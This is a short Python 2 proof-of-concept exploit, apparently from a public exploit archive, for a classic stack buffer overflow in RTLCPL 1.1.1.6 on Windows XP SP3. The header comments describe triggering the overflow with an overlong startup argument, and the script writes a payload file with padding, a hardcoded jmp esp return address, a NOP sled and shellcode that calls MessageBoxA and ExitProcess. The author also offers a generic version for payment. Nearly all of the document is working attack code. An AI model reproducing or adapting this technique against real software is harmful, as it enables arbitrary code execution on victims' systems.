# done by BraniX <branix@hackers.org.pl># www.hackers.org.pl# found: 2010.08.24# tested on: Windows XP SP3 Home Edition# App. has classic buffer overflow vulnerability# it can be triggered by passing a too long argument # as a startup parameter. Shellcode can by run via classic# ret overwrite or SEH Handler overwrite ... so it's a mini-combo ;)# Ps. If you need a generic exploit ...# (no hardcoded VA'a), write it yourself ;) or 'donate few' $$$ # we will c0de it for You ^^
filepath = "C:\\ShellCode\\RTLCPL 1.1.1.6 - Exploit.bin"
f = open(filepath,"wb")
f.write('[BraniX]')
f.write('A'* 304)# garbage# shellcode
f.write('\xF7\x5A\x3A\x7E')# jmp esp in user32
f.write('\x90'* 21)# nop's
f.write('\x50')# push eax
f.write('\x53')# push ebx
f.write('\x53')# push ebx
f.write('\x50')# push eax
f.write('\x43')# inc ebx
f.write('\x83\xC3\07')# add ebx, 7
f.write('\x88\x03')# mov byte ptr [ebx], al
f.write('\xE8\x36\x08\x27\x7E')# call user32.MessageBoxA
f.write('\x57')# push edi
f.write('\xE8\x58\xCB\x6E\x7C')# call kernel32.ExitProcess
f.write('\xCC'* 50)# int 3's
f.close()
print "Done ..."